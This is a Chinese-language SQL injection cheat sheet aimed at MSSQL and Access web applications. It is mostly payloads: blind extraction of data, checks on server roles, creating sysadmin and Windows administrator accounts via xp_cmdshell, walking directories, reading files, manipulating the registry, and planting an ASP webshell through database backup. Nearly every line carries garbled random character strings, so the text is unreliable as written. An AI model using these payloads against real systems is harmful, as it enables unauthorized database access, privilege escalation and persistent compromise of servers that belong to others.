1.判断是否有注入;and 1=1 ;and 1=2 =2YXh,i
2.初步判断是否是mssql ;and user>0 @1 i<=r
yq1G6hw
3.注入参数是字符'and [查询条件] and ''=' 6
$`l
rs,'vV-2\
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Mcq!QaO}&
/(?s\}O
5.判断数据库系统 -!V{wD3,B
]^Xj!01~
;and (select count(*) from sysobjects)>0 mssql 2qQ;U?:q
yF1p^>*ak&
;and (select count(*) from msysobjects)>0 access oArXP\#
~z,qr09
BO8?{~i
5tk7H2K^<
6.猜数据库 ;and (select Count(*) from [数据库名])>0 /,~g"y.;,
T^{=cx9x9
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 aMVq%{U
0{I-x^FI
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 )1YX+',"
VGc.yM)&
j
9.(1)猜字段的ascii值(access) LXZI|K[}k
jeB"j
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 MTq/
t,Q"Pt?
(2)猜字段的ascii值(mssql) #N%j9
g9=_^^Tg
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 A~^x*#q{4
nwzyL`kF
10.测试权限结构(mssql) YQWq*o^:
A8o)^T(vJ
y7R=zkd
C9
s%8,'3&
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- nyxoa/
;}M&fXFp"|
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- vF&0I2T~l
}8s&~fH
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &|#,Bsk"@
AX{7].)F
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- zbGZ\pz
Z3=N= xY]
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- U3{4GmrT
9}L2$^#,NA
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P,(_y8
b|;h$otC
;and 1=(select IS_MEMBER('db_owner'));-- _%23L|
A;*<
&pR 8sySu
)vpYVr-
11.添加mssql和系统的帐户 >YsM'.EF D
lL
50PU
;exec master.dbo.sp_addlogin username;-- ) jt?X}
;exec master.dbo.sp_password null,username,password;-- B=7maYeU
c=QN!n:
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- jw
5 U-zi
kbJ4CF}H
;exec master.dbo.xp_cmdshell 'net user username password rl&.|;5uH;
}Z t#OA
$
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @ &Od1X
2?v }w<Ydl
;exec master.dbo.xp_cmdshell 'net user username password /add';-- SLUQFoz}
=?wDQ:
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )`\Q/TMl5
h^`@%g9 S
,1JQjsR
Uspv^O9_
12.(1)遍历目录 wN/v-^2
<mTo54g
;create table dirs(paths varchar(100), id int) C#1'kQO
qNrLM!Rj
;insert dirs exec master.dbo.xp_dirtree 'c:\' o_kZ
H_Sv,lwz;c
;and (select top 1 paths from dirs)>0 ZC<EPUV(
qf<o"B|_9
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) -4F}I3I
Az#kE.8b*A
,pf\g[tz
d/$e#8
(2)遍历目录 XbFo#Pwk
pmi[M)D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (dO0`wfM
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 k*F9&-rtN
d.B<1"MQ
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 )-}<}< oO
}XpZgd$
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 e},:QL0X
Qx!Bf_,J
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 wq1s#ag<
6Iz!_
j>v8i
bS(
!/|B4Yv
13.mssql中的存储过程 wnLpf
hg'eSU$J
xp_regenumvalues 注册表根键, 子键 Ep')@7^n
O(.eHZ=
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 &f?JtpB
t0P_$+w.>
xp_regread 根键,子键,键值名 ,,#6SR(n
_25PyG
;exec xp_regread \X]I: 0^j
@j%@Z
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 4U'sBaY!K
CR#-!_=4
xp_regwrite 根键,子键, 值名, 值类型, 值 IM2<:N%'
o4z|XhLr
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ,,)'YhG(
6ZjY-)h
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 H{EZ} *{M4
G- ]_
d
xp_regdeletevalue 根键,子键,值名 >:FmAey
7nW <kA
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 c@4$)68
8hyXHe
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3qV\XC+
-ntQqHs
0YoV`D,U
Y[>`#RhP
14.mssql的backup创建webshell mU||(;I
N1vA>(2A
use model 9]/:B8k
Y2g%{keo
create table cmd(str image); 6D{70onY+
0}9j l
insert into cmd(str) values (''); yRQNmR;Uy
X2Q35.AB
backup database model to disk='c:\l.asp'; 65mfq&"P?
n
\&H~0X
2)
2:KX
0+w(cf~6
15.mssql内置函数 x{rjngp2
qB`%+<)C
;and (select @@version)>0 获得Windows的版本号 8N<mV^|}
jOK!k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa AOTtAV_e
~1S,[5u|s
;and (select user_name())>0 爆当前系统的连接用户 r,L`@A=v
KyqP@
{
;and (select db_name())>0 得到当前连接的数据库 ~!%G2E!
jD6T2K7i
7|!Zx-}
4>Nig.#
16.简洁的webshell rQPO+
}C~9?Y
use model ;^)4u
oj,;9{-
create table cmd(str image); 'P%&*%
|Fq\%y#
insert into cmd(str) values (''); nwDGzC~y<
sLK$H|%>m
backup database model to disk='g:\wwwtest\l.asp';